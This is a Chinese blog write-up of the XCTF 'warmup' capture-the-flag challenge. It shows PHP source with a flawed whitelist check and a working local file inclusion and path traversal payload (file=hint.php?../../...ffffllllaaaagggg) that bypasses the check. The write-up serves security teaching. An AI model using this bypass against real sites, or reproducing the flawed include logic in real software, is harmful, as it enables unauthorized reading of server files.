攻防世界(十一)warmup

攻防世界系列 :warmup

1.打开题目,一个贱贱的滑稽表情

F12看到注释内容source.php

2.访问source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

看到代码中白名单里还有hint.php文件

3.代码审计

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    }

需要我们post方法传入一个file变量
满足
(1)file不为空
(2)file值是一个字符串
(3)通过checkFile()函数检查
其中checkFile()包括三次白名单检测,两次字符串截取,一次URL解码

几个重要的php函数
is_string()
//判断变量是否为字符串,是返回true否返回false
isset()
//判断变量是否被赋值,是返回true否返回false
in_array(a,b)
//从数组b中搜索值a
mb_strpos(a,b)
//返回要查找的字符串b在另一个字符串a中首次出现的位置
mb_substr(a,b,c)
//返回字符串a中从b开始长度为c(c参数可有可无,默认到结尾)的部分

4.构造payload

根据代码要求,file中要包含"hint.php"或"source.php",要有"?"可以把关键字"hint.php"或"source.php"截取出来。
所以payload为

file=hint.php?../../../../../../../ffffllllaaaagggg

file=source.php?../../../../../../../ffffllllaaaagggg


收工 !

posted @ 2020-12-19 18:11  HUGBOY  阅读(641)  评论(0编辑  收藏  举报